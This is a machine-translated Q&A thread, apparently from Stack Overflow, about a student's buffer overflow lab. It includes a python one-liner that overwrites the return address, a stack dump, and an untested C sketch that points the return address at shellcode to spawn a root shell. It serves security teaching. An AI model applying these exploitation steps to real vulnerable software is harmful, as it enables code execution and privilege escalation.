2013-05-01 14 views
5

Ostatnio uczę się bezpieczeństwa komputerowego i napotkam kilka problemów, i mam z tym problem w szczególności.Korzystanie z przepełnienia bufora w celu wykonania kodu powłoki

Dostałem funkcję ze stałym buforem, który muszę przepełnić, aby wykonać kod powłoki w pliku shellcode. Funkcja ta jest bardzo prosta:

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

Moje pierwsze przypuszczenie było zmodyfikować adres zamian EIP, funkcji w celu zlokalizowania i wykonać to, co jest w pliku szelkod, ale uświadomiłem sobie, że nie mają adres do pliku, który mogę reprezentować w wartości szesnastkowej. Ja całkiem pewny muszę manipulować adres zwrotny, tak obecnie, co ja nazywam to:

//the string is passed as a command line arg 
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ") 

moje wyjście jest:

Stack dump: 
0xffffd600: 0xffffd7fd (first argument) 
0xffffd5fc: 0x08048653 (saved eip) 
0xffffd5f8: 0xffffd641 (saved ebp) 
0xffffd5f4: 0x41414141 
0xffffd5f0: 0x41414141 
0xffffd5ec: 0x41414141 
0xffffd5e8: 0x41414141 
0xffffd5e4: 0x41414141 
0xffffd5e0: 0x41414141 
0xffffd5dc: 0x41414141 
0xffffd5d8: 0x41414141 
0xffffd5d4: 0x41414141 
0xffffd5d0: 0x41414141 
0xffffd5cc: 0x41414141 
0xffffd5c8: 0x41414141 
0xffffd5c4: 0x41414141 
0xffffd5c0: 0x41414141 
0xffffd5bc: 0x41414141 
0xffffd5b8: 0x41414141 
0xffffd5b4: 0x41414141 
0xffffd5b0: 0x41414141 (beginning of buffer) 
Segmentation fault 

skrypt python po prostu drukuje 72 litera A do przepełnij bufor do punktu edp i eip, po tym jak zamieniam adres edp na dodatkowy adres i dojdę do adresu zwrotnego, gotowego do manipulowania nim. Każda pomoc jest naprawdę doceniana, dzięki!

+6

Czy skompilowałeś kod przy użyciu flag '-really-no-protection' i' -make-me-vulnerable-to-everything'? Jest to obecnie konieczne dla tego exploita. –

+0

@ Daniel Fischer Tak, skompilowałem poprawnie poprzednie programy bezpieczeństwa komputera i mogłem je przepełnić bez żadnych problemów. Wiem, że mój program będzie działał zgodnie z zamierzeniami –

+0

OK, tylko sprawdzam oczywistego podejrzanego. –

Odpowiedz

12

Cóż, myślę, że może to jak laboratorium przepełnienia bufora w Systemy komputerowe: Perspektywa programisty. Najpierw użyj adresu objdump, aby uzyskać adres statyczny. Po drugie, uruchom go pod numerem gdb, aby znaleźć adres stosu. Następnie wypełnij bufor takim ciągiem, który nadpisuje adres zwrotny do bufora (aby można było umieścić kod exploita, alternatywnie można wywołać inny kod w programie).

Sprawdź ten pdf, który służy jako przewodnik po tym laboratorium. To może dostarczyć ci wglądu.

Jak wskazano, do tego celu potrzebnych jest wiele znaczników czasu kompilacji. (Chciałbym sprawdzić, który i wkrótce wrócić). Alternatywnie, post this dostarcza przewodnik, jak skompilować taki przykład.

0

Nie jest trudno, gdy wiesz, gdzie też wygląda, jak powiedział wcześniej otwórz aplikację w/gdb. r (un) it. Następnie i (nfo) r (egisters), aby zobaczyć, dlaczego się rozbił. Dezasemblacja jest również bardzo przydatna.

Również (Zakładam, że wiedzą o tym):

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

jest rzeczywiście

void vuln(char *str) { 
    void *return; 
    char buf[64]; 

    /* Set Return value and store stack */ 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
    /* restore stack and jmp to return value. */ 
} 
2

Moje pierwsze przypuszczenie było zmodyfikować adres zwrotny, EIP, funkcji w celu zlokalizować i wykonać to, co znajduje się w pliku powłoki, ale zrozumiałem, że nie mam adresu do pliku, który mogę reprezentować w wartości szesnastkowej.

chcesz zmodyfikować adres RET tak, że gdy funkcja kończy nie powrócić do swojego rozmówcy, ale na początku swojej szelkodu.

((Jako krótki opis tego, czym jest kod powłoki, jest to zestaw instrukcji dotyczących instalacji (tak mocno zależnych od platformy, na której wykonuje się proces narażenia na atak), które wykonują powłokę (zazwyczaj powłokę główną), a co za tym idzie ładne środowisko, które możesz wykorzystać.))

Teraz powróć, chcesz zwrócić RET na pierwszą instrukcję montażu w swoim kodzie powłoki. Dziwne jest to, że masz go w osobnym pliku. Czy to jest wymagane?

Jak to zwykle robi to, że masz coś takiego:

char shellcode[] = "\x90\x90\x90..."; 


int main() 
{ 
     /* 
     * huge string (like your 72 A's) that appends the address of the 
     * shellcode at the right address (in your case I think it's 64 + 4) 
     */ 
     char evilstring[100]; 

     /* Fill the buf and the EBP with A's */ 
     for (int i = 0; i < 64 + 4; i++) { 
       evilstring[i] = 'A'; 
     } 
     /* And the RET with the address of your shellcode */ 
     sprintf(&evilstring[68], "%p", &shellcode[0]); 
     vuln(evilstring); 
     /* you should have a shell now */ 

     /* NOTREACHED */ 
     return 0; 
} 

Więc teraz, kiedy zostanie przywrócona funkcja, zwraca na adres szelkod [] ciąg i kontynuuje wykonywanie instrukcji stamtąd. Czego chcesz. Ponieważ te instrukcje dają ci powłokę root (lub cokolwiek innego, co robi twój shellcode).

Należy pamiętać, że powyższe to przykładowy kod, nie jest on nawet testowany podczas kompilacji.

Jeśli nie zrozumiałem Twojego problemu lub nie wyjaśniłem wystarczająco dobrze, proszę zapytać.

1
char buff[20]; 
unsigned int pass = 0; 

gdy „buff” dostać przelot ten, dodatkowe wejście przekręcić „przepustkę” na większe niż 0, sprawiają, że „prawdziwa” wartość.

Powiązane problemy